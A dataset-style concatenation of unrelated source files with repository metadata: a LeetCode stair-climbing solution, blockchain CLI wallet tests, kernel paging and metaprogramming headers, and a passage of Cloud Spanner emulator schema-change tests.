[ "MIT" ]
null
null
null
leetcode/editor/cn/70-climbing-stairs.cpp
xutengx/data-structure
cdc2fa24000377357c4f2d6ece83261ff4213d4c
[ "MIT" ]
null
null
null
leetcode/editor/cn/70-climbing-stairs.cpp
xutengx/data-structure
cdc2fa24000377357c4f2d6ece83261ff4213d4c
[ "MIT" ]
null
null
null
//假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 // // 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? // // 注意:给定 n 是一个正整数。 // // 示例 1: // // 输入: 2 //输出: 2 //解释: 有两种方法可以爬到楼顶。 //1. 1 阶 + 1 阶 //2. 2 阶 // // 示例 2: // // 输入: 3 //输出: 3 //解释: 有三种方法可以爬到楼顶。 //1. 1 阶 + 1 阶 + 1 阶 //2. 1 阶 + 2 阶 //3. 2 阶 + 1 阶 // // Related Topics 动态规划 // 👍 1642 👎 0 #include "functional" #include "vector" #include "assert.h" #include "string" #include "iostream" using namespace std; //leetcode submit region begin(Prohibit modification and deletion) class Solution { public: int climbStairs(int n) { // 多写几层,找规律: // 递归思路: f(n) = f(n-1) + f(n-2) -> f(n-1) = f(n-2) + f(n-3) // 迭代思路: f(n-1) = f(n-2) + f(n-3) -> f(n) = f(n-1) + f(n-2) // 迭代思路: sum = b + a -> f(n) = sum + b -> f(n) = (a + b) + b if (n == 1 || n == 2) { return n; } int a = 1; int b = 2; int sum = 0; for (int i = 3; i <= n; ++i) { sum = a + b; a = b; b = sum; } return sum; } }; //leetcode submit region end(Prohibit modification and deletion) int main() { Solution solution; // assert(solution.reverse(123) == 321); return 0; }
18.545455
69
0.468137
xutengx
b32c12c2ee0325c8592133bed615d0ff305a87a5
10,239
cpp
C++
tests/cli/cli_tests.cpp
totalgames/playchain-core
f543df51d78dafca09c56fbb7b9912ad550a9404
[ "MIT" ]
1
2019-07-05T14:37:30.000Z
2019-07-05T14:37:30.000Z
tests/cli/cli_tests.cpp
totalgames/playchain-core
f543df51d78dafca09c56fbb7b9912ad550a9404
[ "MIT" ]
null
null
null
tests/cli/cli_tests.cpp
totalgames/playchain-core
f543df51d78dafca09c56fbb7b9912ad550a9404
[ "MIT" ]
null
null
null
/* * Copyright (c) 2018 Total Games LLC and contributors. * * The MIT License * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <boost/test/unit_test.hpp> #include "test_applications.hpp" #include <graphene/app/plugin.hpp> #include <graphene/account_history/account_history_plugin.hpp> #include <graphene/witness/witness.hpp> #include <graphene/market_history/market_history_plugin.hpp> #include <graphene/egenesis/egenesis.hpp> #include <graphene/wallet/wallet.hpp> #include <boost/filesystem/path.hpp> namespace cli { BOOST_AUTO_TEST_SUITE( base_tests ) //////////////// // Start a server and connect using the same calls as the CLI //////////////// BOOST_AUTO_TEST_CASE( cli_connect ) { using namespace graphene::chain; using namespace graphene::app; std::shared_ptr<graphene::app::application> app1; try { fc::temp_directory app_dir ( graphene::utilities::temp_directory_path() ); int server_port_number = 0; app1 = start_application(app_dir, server_port_number); // connect to the server client_connection con(app1, app_dir, server_port_number); } catch( fc::exception& e ) { edump((e.to_detail_string())); throw; } app1->shutdown(); } /////////////////////// // Start a server and connect using the same calls as the CLI // Vote for two witnesses, and make sure they both stay there // after a maintenance block /////////////////////// BOOST_AUTO_TEST_CASE( cli_vote_for_2_witnesses ) { using namespace graphene::chain; using namespace graphene::app; std::shared_ptr<graphene::app::application> app1; try { fc::temp_directory app_dir( graphene::utilities::temp_directory_path() ); int server_port_number = 0; app1 = start_application(app_dir, server_port_number); // connect to the server client_connection con(app1, app_dir, server_port_number); BOOST_TEST_MESSAGE("Setting wallet password"); con.api()->set_password("supersecret"); con.api()->unlock("supersecret"); // import Nathan and InitX accounts BOOST_TEST_MESSAGE("Importing keys"); auto nathan_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string("nathan"))); std::vector<std::string> nathan_keys{key_to_wif(nathan_key)}; BOOST_CHECK(con.api()->import_key("nathan", nathan_keys[0])); auto witness_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string("init"))); BOOST_CHECK(con.api()->import_key("init1", key_to_wif(witness_key))); BOOST_CHECK(con.api()->import_key("init2", key_to_wif(witness_key))); BOOST_TEST_MESSAGE("Importing nathan's balance"); std::vector<signed_transaction> import_txs = con.api()->import_balance("nathan", nathan_keys, true); account_object nathan_acct_before_upgrade = con.api()->get_account("nathan"); // upgrade nathan BOOST_TEST_MESSAGE("Upgrading Nathan to LTM"); signed_transaction upgrade_tx = con.api()->upgrade_account("nathan", true); account_object nathan_acct_after_upgrade = con.api()->get_account("nathan"); // verify that the upgrade was successful BOOST_CHECK_PREDICATE( std::not_equal_to<uint32_t>(), (nathan_acct_before_upgrade.membership_expiration_date.sec_since_epoch())(nathan_acct_after_upgrade.membership_expiration_date.sec_since_epoch()) ); BOOST_CHECK(nathan_acct_after_upgrade.is_lifetime_member()); // create a new account graphene::wallet::brain_key_info bki = con.api()->suggest_brain_key(); BOOST_CHECK(!bki.brain_priv_key.empty()); signed_transaction create_acct_tx = con.api()->create_account_with_brain_key(bki.brain_priv_key, "jmjatlanta", "nathan", "nathan", true); // save the private key for this new account in the wallet file BOOST_CHECK(con.api()->import_key("jmjatlanta", bki.wif_priv_key)); con.api()->save_wallet_file(con.wallet_filename()); // attempt to give jmjatlanta some bitsahres BOOST_TEST_MESSAGE("Transferring bitshares from Nathan to jmjatlanta"); signed_transaction transfer_tx = con.api()->transfer("nathan", "jmjatlanta", "10000", "1.3.0", "Here are some BTS for your new account", true); // get the details for init1 witness_object init1_obj = con.api()->get_witness("init1"); int init1_start_votes = init1_obj.total_votes; // Vote for a witness signed_transaction vote_witness1_tx = con.api()->vote_for_witness("jmjatlanta", "init1", true, true); // generate a block to get things started BOOST_CHECK(generate_block(app1)); // wait for a maintenance interval BOOST_CHECK(generate_maintenance_block(app1)); // Verify that the vote is there init1_obj = con.api()->get_witness("init1"); witness_object init2_obj = con.api()->get_witness("init2"); int init1_middle_votes = init1_obj.total_votes; BOOST_CHECK(init1_middle_votes > init1_start_votes); // Vote for a 2nd witness int init2_start_votes = init2_obj.total_votes; signed_transaction vote_witness2_tx = con.api()->vote_for_witness("jmjatlanta", "init2", true, true); // send another block to trigger maintenance interval BOOST_CHECK(generate_maintenance_block(app1)); // Verify that both the first vote and the 2nd are there init2_obj = con.api()->get_witness("init2"); init1_obj = con.api()->get_witness("init1"); int init2_middle_votes = init2_obj.total_votes; BOOST_CHECK(init2_middle_votes > init2_start_votes); int init1_last_votes = init1_obj.total_votes; BOOST_CHECK(init1_last_votes > init1_start_votes); // wait for everything to finish up fc::usleep(fc::seconds(1)); } catch( fc::exception& e ) { edump((e.to_detail_string())); throw; } app1->shutdown(); } /////////////////// // Start a server and connect using the same calls as the CLI // Set a voting proxy and be assured that it sticks /////////////////// BOOST_AUTO_TEST_CASE( cli_set_voting_proxy ) { using namespace graphene::chain; using namespace graphene::app; std::shared_ptr<graphene::app::application> app1; try { fc::temp_directory app_dir( graphene::utilities::temp_directory_path() ); int server_port_number; app1 = start_application(app_dir, server_port_number); // connect to the server client_connection con(app1, app_dir, server_port_number); BOOST_TEST_MESSAGE("Setting wallet password"); con.api()->set_password("supersecret"); con.api()->unlock("supersecret"); // import Nathan account BOOST_TEST_MESSAGE("Importing nathan key"); auto nathan_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string("nathan"))); std::vector<std::string> nathan_keys{key_to_wif(nathan_key)}; BOOST_CHECK(con.api()->import_key("nathan", nathan_keys[0])); BOOST_TEST_MESSAGE("Importing nathan's balance"); std::vector<signed_transaction> import_txs = con.api()->import_balance("nathan", nathan_keys, true); account_object nathan_acct_before_upgrade = con.api()->get_account("nathan"); // upgrade nathan BOOST_TEST_MESSAGE("Upgrading Nathan to LTM"); signed_transaction upgrade_tx = con.api()->upgrade_account("nathan", true); account_object nathan_acct_after_upgrade = con.api()->get_account("nathan"); // verify that the upgrade was successful BOOST_CHECK_PREDICATE( std::not_equal_to<uint32_t>(), (nathan_acct_before_upgrade.membership_expiration_date.sec_since_epoch())(nathan_acct_after_upgrade.membership_expiration_date.sec_since_epoch()) ); BOOST_CHECK(nathan_acct_after_upgrade.is_lifetime_member()); // create a new account graphene::wallet::brain_key_info bki = con.api()->suggest_brain_key(); BOOST_CHECK(!bki.brain_priv_key.empty()); signed_transaction create_acct_tx = con.api()->create_account_with_brain_key(bki.brain_priv_key, "jmjatlanta", "nathan", "nathan", true); // save the private key for this new account in the wallet file BOOST_CHECK(con.api()->import_key("jmjatlanta", bki.wif_priv_key)); con.api()->save_wallet_file(con.wallet_filename()); // attempt to give jmjatlanta some bitsahres BOOST_TEST_MESSAGE("Transferring bitshares from Nathan to jmjatlanta"); signed_transaction transfer_tx = con.api()->transfer("nathan", "jmjatlanta", "10000", "1.3.0", "Here are some BTS for your new account", true); // grab account for comparison account_object prior_voting_account = con.api()->get_account("jmjatlanta"); // set the voting proxy to nathan BOOST_TEST_MESSAGE("About to set voting proxy."); signed_transaction voting_tx = con.api()->set_voting_proxy("jmjatlanta", "nathan", true); account_object after_voting_account = con.api()->get_account("jmjatlanta"); // see if it changed BOOST_CHECK(prior_voting_account.options.voting_account != after_voting_account.options.voting_account); // wait for everything to finish up fc::usleep(fc::seconds(1)); } catch( fc::exception& e ) { edump((e.to_detail_string())); throw; } app1->shutdown(); } BOOST_AUTO_TEST_SUITE_END() }
42.485477
208
0.710323
totalgames
b32c9455bfee69cf29983c88512c04b17b165f54
1,869
hpp
C++
kernel/paging.hpp
wkiino/my-mikanos
f7b9d4d15a4fc00cecd7efedc93bf54426dad156
[ "Apache-2.0" ]
null
null
null
kernel/paging.hpp
wkiino/my-mikanos
f7b9d4d15a4fc00cecd7efedc93bf54426dad156
[ "Apache-2.0" ]
null
null
null
kernel/paging.hpp
wkiino/my-mikanos
f7b9d4d15a4fc00cecd7efedc93bf54426dad156
[ "Apache-2.0" ]
null
null
null
#pragma once #include <cstddef> const size_t kPageDirectoryCount = 64; void SetupIdentityPageTable(); union LinearAddress4Level { uint64_t value; struct { uint64_t offset : 12; uint64_t page : 9; uint64_t dir : 9; uint64_t pdp : 9; uint64_t pml4 : 9; uint64_t : 16; } __attribute__((packed)) parts; int Part(int page_map_level) const { switch (page_map_level) { case 0: return parts.offset; case 1: return parts.page; case 2: return parts.dir; case 3: return parts.pdp; case 4: return parts.pml4; default: return 0; } } void SetPart(int page_map_level, int value) { switch (page_map_level) { case 0: parts.offset = value; break; case 1: parts.page = value; break; case 2: parts.dir = value; break; case 3: parts.pdp = value; break; case 4: parts.pml4 = value; break; } } }; union PageMapEntry { uint64_t data; struct { uint64_t present : 1; uint64_t writable : 1; uint64_t user : 1; uint64_t write_through : 1; uint64_t cache_disable : 1; uint64_t accessed : 1; uint64_t dirty : 1; uint64_t huge_page : 1; uint64_t global : 1; uint64_t : 3; uint64_t addr : 40; uint64_t : 12; } __attribute__((packed)) bits; PageMapEntry *Pointer() const { return reinterpret_cast<PageMapEntry *>(bits.addr << 12); } void SetPointer(PageMapEntry *p) { bits.addr = reinterpret_cast<uint64_t>(p) >> 12; } };
19.46875
65
0.502408
wkiino
b32eec3a9c3cced6654a458f9fa3e91bb3ada7cc
781
hpp
C++
include/geometricks/meta/literals.hpp
mitthy/TCC
4c48eb11cafd50334c5faef93edc5f03bc7fc171
[ "MIT" ]
null
null
null
include/geometricks/meta/literals.hpp
mitthy/TCC
4c48eb11cafd50334c5faef93edc5f03bc7fc171
[ "MIT" ]
null
null
null
include/geometricks/meta/literals.hpp
mitthy/TCC
4c48eb11cafd50334c5faef93edc5f03bc7fc171
[ "MIT" ]
null
null
null
#ifndef GEOMETRICKS_META_LITERAL_HPP #define GEOMETRICKS_META_LIST_HPP //C stdlib includes #include <stddef.h> namespace geometricks { namespace meta { namespace literals { template< typename T, size_t V > struct integer_literal { static constexpr T value = V; constexpr operator T () const { return V; } }; namespace __detail__ { template<char Head, char... Tail> constexpr auto __make_integer_literal_impl__() { //TODO return integer_literal<int, 0>{}; } } template< char... chars > constexpr auto operator""_i() { return __detail__::__make_integer_literal_impl__<chars...>(); } } } } #endif //GEOMETRICKS_META_LIST_HPP
18.162791
69
0.608195
mitthy
b32f8200bfb869cf216af0c1d92a9ef392953431
1,298
cpp
C++
src/serializer.cpp
Panzerschrek/PanzerJson
3e8327143441709451ff132a8692003a211f0528
[ "BSD-3-Clause" ]
null
null
null
src/serializer.cpp
Panzerschrek/PanzerJson
3e8327143441709451ff132a8692003a211f0528
[ "BSD-3-Clause" ]
null
null
null
src/serializer.cpp
Panzerschrek/PanzerJson
3e8327143441709451ff132a8692003a211f0528
[ "BSD-3-Clause" ]
null
null
null
#include <cmath> #include <limits> #include "../include/PanzerJson/serializer.hpp" namespace PanzerJson { void Serializer::GenNumberValueString( const NumberValue& number_value ) { if( std::floor( number_value.double_value ) != number_value.double_value ) { // Has nonzero fractional part - write as double. GenDoubleValueString( number_value.double_value, num_str_ ); return; } // Try reconstruct original number value. // Double value allways saves sign of original value. if( number_value.double_value >= 0.0 ) { const uint64_t int_val= static_cast<uint64_t>( number_value.int_value ); if( number_value.double_value > static_cast<double>( std::numeric_limits<uint64_t>::max() ) ) { // Double value is bigger, than int range, write as double. GenDoubleValueString( number_value.double_value, num_str_ ); return; } else { GenUintValueString( int_val, num_str_ ); return; } } else { if( number_value.double_value < static_cast<double>( std::numeric_limits<int64_t>::min() ) ) { // Absolute double value is bigger, than int range, write as double. GenDoubleValueString( number_value.double_value, num_str_ ); return; } else { GenIntValueString( number_value.int_value, num_str_ ); return; } } } } // namespace PanzerJson
24.961538
95
0.719569
Panzerschrek
b32f878b75a9b916c01a8f36aa66ffd76f144ba7
9,912
hpp
C++
libpldmresponder/pdr.hpp
wangzqbj/pldm
cdfe114ea9f8f9e70624da92e55ff115cb2555e2
[ "Apache-2.0" ]
null
null
null
libpldmresponder/pdr.hpp
wangzqbj/pldm
cdfe114ea9f8f9e70624da92e55ff115cb2555e2
[ "Apache-2.0" ]
null
null
null
libpldmresponder/pdr.hpp
wangzqbj/pldm
cdfe114ea9f8f9e70624da92e55ff115cb2555e2
[ "Apache-2.0" ]
null
null
null
#pragma once #include "effecters.hpp" #include "utils.hpp" #include <stdint.h> #include <filesystem> #include <fstream> #include <functional> #include <iostream> #include <map> #include <nlohmann/json.hpp> #include <string> #include <vector> #include <xyz/openbmc_project/Common/error.hpp> #include "libpldm/platform.h" using InternalFailure = sdbusplus::xyz::openbmc_project::Common::Error::InternalFailure; namespace fs = std::filesystem; namespace pldm { namespace responder { namespace pdr { using Type = uint8_t; using Json = nlohmann::json; using RecordHandle = uint32_t; using Entry = std::vector<uint8_t>; using Pdr = std::vector<Entry>; /** @class Repo * * @brief Abstract class describing the interface API to the PDR repository * * Concrete implementations of this must handle storing and addressing the * PDR entries by a "record handle", which can be indices, offsets, etc. */ class Repo { public: virtual ~Repo() = default; /** @brief Add a new entry to the PDR * * @param[in] entry - new PDR entry */ virtual void add(Entry&& entry) = 0; /** @brief Access PDR entry at inout record handle * * @param[in] handle - record handle * * @return Entry - PDR entry */ virtual Entry at(RecordHandle handle) const = 0; /** @brief Get next available record handle for assignment * * @return RecordHandle - PDR record handle */ virtual RecordHandle getNextRecordHandle() const = 0; /** @brief Get record handle immediately suceeding the input record * handle * * @param[in] current - input record handle * * @return RecordHandle - PDR record handle */ virtual RecordHandle getNextRecordHandle(RecordHandle current) const = 0; /** @brief Get number of entries in the PDR * * @return size_t - number of entries */ virtual size_t numEntries() const = 0; /** @brief Check if PDR is empty * * @return bool - true if PDR is empty, false otherwise */ virtual bool empty() const = 0; /** @brief Empty the PDR */ virtual void makeEmpty() = 0; }; namespace internal { /** @brief Parse PDR JSON file and output Json object * * @param[in] path - path of PDR JSON file * * @return Json - Json object */ inline Json readJson(const std::string& path) { std::ifstream jsonFile(path); if (!jsonFile.is_open()) { std::cout << "Error opening PDR JSON file, PATH=" << path.c_str() << std::endl; return {}; } return Json::parse(jsonFile); } /** @class IndexedRepo * * @brief Inherits and implements Repo * * Stores the PDR as a vector of entries, and addresses PDR entries based on an * incrementing record handle, starting at 1. */ class IndexedRepo : public Repo { public: void add(Entry&& entry) { repo.emplace_back(std::move(entry)); } Entry at(RecordHandle handle) const { if (!handle) { handle = 1; } return repo.at(handle - 1); } RecordHandle getNextRecordHandle() const { return repo.size() + 1; } RecordHandle getNextRecordHandle(RecordHandle current) const { if (current >= repo.size()) { return 0; } if (!current) { current = 1; } return current + 1; } size_t numEntries() const { return repo.size(); } bool empty() const { return repo.empty(); } void makeEmpty() { repo.clear(); } private: Pdr repo{}; }; /** @brief Parse PDR JSONs and build PDR repository * * @param[in] dir - directory housing platform specific PDR JSON files * @tparam[in] repo - instance of concrete implementation of Repo */ template <typename T> void generate(const std::string& dir, T& repo) { using namespace internal; // A map of PDR type to a lambda that handles creation of that PDR type. // The lambda essentially would parse the platform specific PDR JSONs to // generate the PDR structures. This function iterates through the map to // invoke all lambdas, so that all PDR types can be created. std::map<Type, std::function<void(const Json& json, T& repo)>> generators = {{PLDM_STATE_EFFECTER_PDR, [](const auto& json, T& repo) { static const std::vector<Json> emptyList{}; static const Json empty{}; auto entries = json.value("entries", emptyList); for (const auto& e : entries) { size_t pdrSize = 0; auto effecters = e.value("effecters", emptyList); static const Json empty{}; for (const auto& effecter : effecters) { auto set = effecter.value("set", empty); auto statesSize = set.value("size", 0); if (!statesSize) { std::cerr << "Malformed PDR JSON - no state set info, TYPE=" << PLDM_STATE_EFFECTER_PDR << "\n"; throw InternalFailure(); } pdrSize += sizeof(state_effecter_possible_states) - sizeof(bitfield8_t) + (sizeof(bitfield8_t) * statesSize); } pdrSize += sizeof(pldm_state_effecter_pdr) - sizeof(uint8_t); Entry pdrEntry{}; pdrEntry.resize(pdrSize); pldm_state_effecter_pdr* pdr = reinterpret_cast<pldm_state_effecter_pdr*>( pdrEntry.data()); pdr->hdr.record_handle = repo.getNextRecordHandle(); pdr->hdr.version = 1; pdr->hdr.type = PLDM_STATE_EFFECTER_PDR; pdr->hdr.record_change_num = 0; pdr->hdr.length = pdrSize - sizeof(pldm_pdr_hdr); pdr->terminus_handle = 0; pdr->effecter_id = effecter::nextId(); pdr->entity_type = e.value("type", 0); pdr->entity_instance = e.value("instance", 0); pdr->container_id = e.value("container", 0); pdr->effecter_semantic_id = 0; pdr->effecter_init = PLDM_NO_INIT; pdr->has_description_pdr = false; pdr->composite_effecter_count = effecters.size(); using namespace effecter::dbus_mapping; Paths paths{}; uint8_t* start = pdrEntry.data() + sizeof(pldm_state_effecter_pdr) - sizeof(uint8_t); for (const auto& effecter : effecters) { auto set = effecter.value("set", empty); state_effecter_possible_states* possibleStates = reinterpret_cast<state_effecter_possible_states*>( start); possibleStates->state_set_id = set.value("id", 0); possibleStates->possible_states_size = set.value("size", 0); start += sizeof(possibleStates->state_set_id) + sizeof(possibleStates->possible_states_size); static const std::vector<uint8_t> emptyStates{}; auto states = set.value("states", emptyStates); for (const auto& state : states) { auto index = state / 8; auto bit = state - (index * 8); bitfield8_t* bf = reinterpret_cast<bitfield8_t*>(start + index); bf->byte |= 1 << bit; } start += possibleStates->possible_states_size; auto dbus = effecter.value("dbus", empty); paths.emplace_back(std::move(dbus)); } add(pdr->effecter_id, std::move(paths)); repo.add(std::move(pdrEntry)); } }}}; auto eraseLen = strlen(".json"); Type pdrType{}; for (const auto& dirEntry : fs::directory_iterator(dir)) { try { auto json = readJson(dirEntry.path().string()); if (!json.empty()) { auto fileName = dirEntry.path().filename().string(); fileName.erase(fileName.end() - eraseLen); pdrType = stoi(fileName); generators.at(pdrType)(json, repo); } } catch (const InternalFailure& e) { } catch (const Json::exception& e) { std::cerr << "Failed parsing PDR JSON file, TYPE= " << pdrType << " ERROR=" << e.what() << "\n"; pldm::utils::reportError( "xyz.openbmc_project.bmc.pldm.InternalFailure"); } catch (const std::exception& e) { std::cerr << "Failed parsing PDR JSON file, TYPE= " << pdrType << " ERROR=" << e.what() << "\n"; pldm::utils::reportError( "xyz.openbmc_project.bmc.pldm.InternalFailure"); } } } } // namespace internal /** @brief Build (if not built already) and retrieve PDR * * @param[in] dir - directory housing platform specific PDR JSON files * * @return Repo& - Reference to instance of pdr::Repo */ Repo& get(const std::string& dir); } // namespace pdr } // namespace responder } // namespace pldm
30.311927
80
0.532587
wangzqbj
b32fa70c6008a104e2836fb0a19a15508fed8aeb
15,888
cc
C++
tests/conformance/cases/schema_changes.cc
sgorse12/cloud-spanner-emulator
13ebb6d42867bfbc80224b4a74a896b683ae4555
[ "Apache-2.0" ]
179
2020-03-30T20:30:49.000Z
2022-03-31T04:47:55.000Z
tests/conformance/cases/schema_changes.cc
sgorse12/cloud-spanner-emulator
13ebb6d42867bfbc80224b4a74a896b683ae4555
[ "Apache-2.0" ]
53
2020-08-31T15:14:30.000Z
2022-03-30T21:28:36.000Z
tests/conformance/cases/schema_changes.cc
sgorse12/cloud-spanner-emulator
13ebb6d42867bfbc80224b4a74a896b683ae4555
[ "Apache-2.0" ]
26
2020-04-02T04:05:58.000Z
2022-02-22T12:05:55.000Z
// // Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #include "zetasql/public/value.h" #include "gmock/gmock.h" #include "gtest/gtest.h" #include "zetasql/base/testing/status_matchers.h" #include "tests/common/proto_matchers.h" #include "absl/algorithm/container.h" #include "absl/status/status.h" #include "zetasql/base/statusor.h" #include "absl/strings/ascii.h" #include "google/cloud/spanner/bytes.h" #include "google/cloud/spanner/mutations.h" #include "google/cloud/spanner/transaction.h" #include "google/cloud/spanner/value.h" #include "tests/common/file_based_test_runner.h" #include "tests/conformance/common/database_test_base.h" #include "absl/status/status.h" namespace google { namespace spanner { namespace emulator { namespace test { namespace { using cloud::spanner::Bytes; using cloud::spanner::InsertMutationBuilder; using zetasql_base::testing::StatusIs; template <class T> using optional = google::cloud::optional<T>; // Directory containing schema change test files. const char kSchemaChangeTestDataDir[] = "tests/conformance/data/schema_changes"; // List of schema change test files within the directory above. const char* kSchemaChangeTestFiles[] = { "check_constraint.test", "combined.test", "foreign_key.test", "generated_column.test", "key_column_alteration.test", }; constexpr std::array<char, 10> kBytesLiteral = {'\xd0', '\xb0', '\xd0', '\xb1', '\xd0', '\xb2', '\xd0', '\xb3', '\xd0', '\xb4'}; const char kUnicodeStringLiteral[] = "абвгд"; class SchemaChangeTest : public DatabaseTest, public ::testing::WithParamInterface<FileBasedTestCase> { public: absl::Status SetUpDatabase() override { return absl::OkStatus(); } // Runs a file-based schema change test case. zetasql_base::StatusOr<FileBasedTestCaseOutput> RunSchemaChangeTestCase( const FileBasedTestCaseInput& input) { // Check that we were not mistakenly passed an empty test case. ZETASQL_RET_CHECK(!input.text.empty()) << "Found empty schema change test case."; // Reset the database used for this test. ZETASQL_RETURN_IF_ERROR(ResetDatabase()); // Split the input into individual DDL statements. std::string text = input.text; absl::StripAsciiWhitespace(&text); std::vector<std::string> input_statements = absl::StrSplit(text, ';', absl::SkipEmpty()); // Run the update. absl::Status status = UpdateSchema(input_statements).status(); // For the error case, we expect the error string to match. if (!status.ok()) { // Strip out the prefix added by the C++ client library. absl::string_view message(status.message()); absl::ConsumePrefix(&message, "Error in non-idempotent operation UpdateDatabase: "); // Return the expected error message. return FileBasedTestCaseOutput{"ERROR: " + std::string(message) + "\n"}; } // For the success case, we expect the output of GetDatabaseDdl to match. ZETASQL_ASSIGN_OR_RETURN(std::vector<std::string> output_statements, GetDatabaseDdl()); return FileBasedTestCaseOutput{absl::StrJoin(output_statements, ";\n") + ";\n"}; } // Returns list of all schema change test files. static std::vector<std::string> GetAllTestFiles() { std::vector<std::string> result; std::string root_dir = GetRunfilesDir(kSchemaChangeTestDataDir); for (const char* filename : kSchemaChangeTestFiles) { result.push_back(absl::StrCat(root_dir, "/", filename)); } return result; } // Returns list of all test cases from all the test case files. static std::vector<FileBasedTestCase> GetAllTestCases() { std::vector<FileBasedTestCase> test_cases; for (const auto& file : GetAllTestFiles()) { const auto file_cases = ReadTestCasesFromFile(file, FileBasedTestOptions{}); test_cases.insert(test_cases.end(), file_cases.begin(), file_cases.end()); } return test_cases; } }; TEST_P(SchemaChangeTest, FileBasedTests) { const auto& input = GetParam().input; const auto& expected = GetParam().expected; ZETASQL_ASSERT_OK_AND_ASSIGN(auto actual, RunSchemaChangeTestCase(input)); std::string actual_text = actual.text; std::string expected_text = expected.text; auto normalize = [](std::string* text) { RE2::GlobalReplace(text, "\n", " "); RE2::GlobalReplace(text, R"(\\n)", " "); RE2::GlobalReplace(text, R"(\\')", "'"); RE2::GlobalReplace(text, R"(\\")", "\""); absl::RemoveExtraAsciiWhitespace(text); }; normalize(&actual_text); normalize(&expected_text); std::string message = absl::StrCat("for input at line number ", input.line_no, ":\n", input.text); if (input.regex) { EXPECT_THAT(actual_text, testing::MatchesRegex(expected_text)) << message; } else { EXPECT_THAT(actual_text, testing::HasSubstr(expected_text)) << message; } } INSTANTIATE_TEST_SUITE_P( FileBasedTest, SchemaChangeTest, testing::ValuesIn(SchemaChangeTest::GetAllTestCases()), [](const testing::TestParamInfo<FileBasedTestCase>& info) { const auto& input = info.param.input; int start = input.file_name.find_last_of('/') + 1; int limit = input.file_name.find_last_of('.'); return absl::StrCat(input.file_name.substr(start, limit - start), "_", input.line_no); }); TEST_F(SchemaChangeTest, NoStatements) { EXPECT_THAT(UpdateSchema(/*schema=*/{}), StatusIs(absl::StatusCode::kInvalidArgument)); } TEST_F(SchemaChangeTest, ValidStatements) { UpdateDatabaseDdlMetadata metadata; std::vector<std::string> statements = {R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(MAX) ) PRIMARY KEY(int64_col) )", R"( CREATE INDEX test_index ON test_table(string_col) )"}; ZETASQL_ASSERT_OK_AND_ASSIGN(metadata, UpdateSchema(statements)); EXPECT_EQ(metadata.commit_timestamps_size(), 2); EXPECT_EQ(metadata.statements_size(), 2); } TEST_F(SchemaChangeTest, PartialSuccess) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table( int64_col INT64 NOT NULL, string_col STRING(MAX) ) PRIMARY KEY(int64_col) )"})); auto mutation = InsertMutationBuilder("test_table", {"int64_col", "string_col"}) .AddRow({Value(1), Value("a")}) .AddRow({Value(2), Value("a")}) .Build(); auto txn = Transaction(Transaction::ReadWriteOptions()); ZETASQL_ASSERT_OK(CommitTransaction(txn, {mutation})); std::vector<std::string> statements = {R"( CREATE TABLE another_table ( int64_col INT64 NOT NULL, ) PRIMARY KEY (int64_col) )", R"( CREATE UNIQUE INDEX test_index ON test_table(string_col) )"}; EXPECT_THAT(UpdateSchema(statements), StatusIs(absl::StatusCode::kFailedPrecondition)); ZETASQL_ASSERT_OK_AND_ASSIGN(auto ddl_statements, GetDatabaseDdl()); EXPECT_EQ(ddl_statements.size(), 2); } TEST_F(SchemaChangeTest, AddColumns) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col"}, {Value(1)})); ZETASQL_EXPECT_OK(UpdateSchema( {"ALTER TABLE test_table ADD COLUMN string_col STRING(MAX)"})); ZETASQL_EXPECT_OK( UpdateSchema({"ALTER TABLE test_table " "ADD COLUMN gen_int64_col INT64 AS (int64_col) STORED"})); } TEST_F(SchemaChangeTest, AddColumnsWithoutKeyword) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col"}, {Value(1)})); ZETASQL_EXPECT_OK( UpdateSchema({"ALTER TABLE test_table ADD string_col STRING(MAX)"})); ZETASQL_EXPECT_OK( UpdateSchema({"ALTER TABLE test_table " "ADD gen_int64_col INT64 AS (int64_col) STORED"})); } TEST_F(SchemaChangeTest, AddDropColumns) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col"}, {Value(1)})); // Test with and without COLUMN keyword. ZETASQL_EXPECT_OK( UpdateSchema({"ALTER TABLE test_table ADD COLUMN col_A STRING(MAX)"})); ZETASQL_EXPECT_OK(UpdateSchema({"ALTER TABLE test_table ADD col_B STRING(MAX)"})); 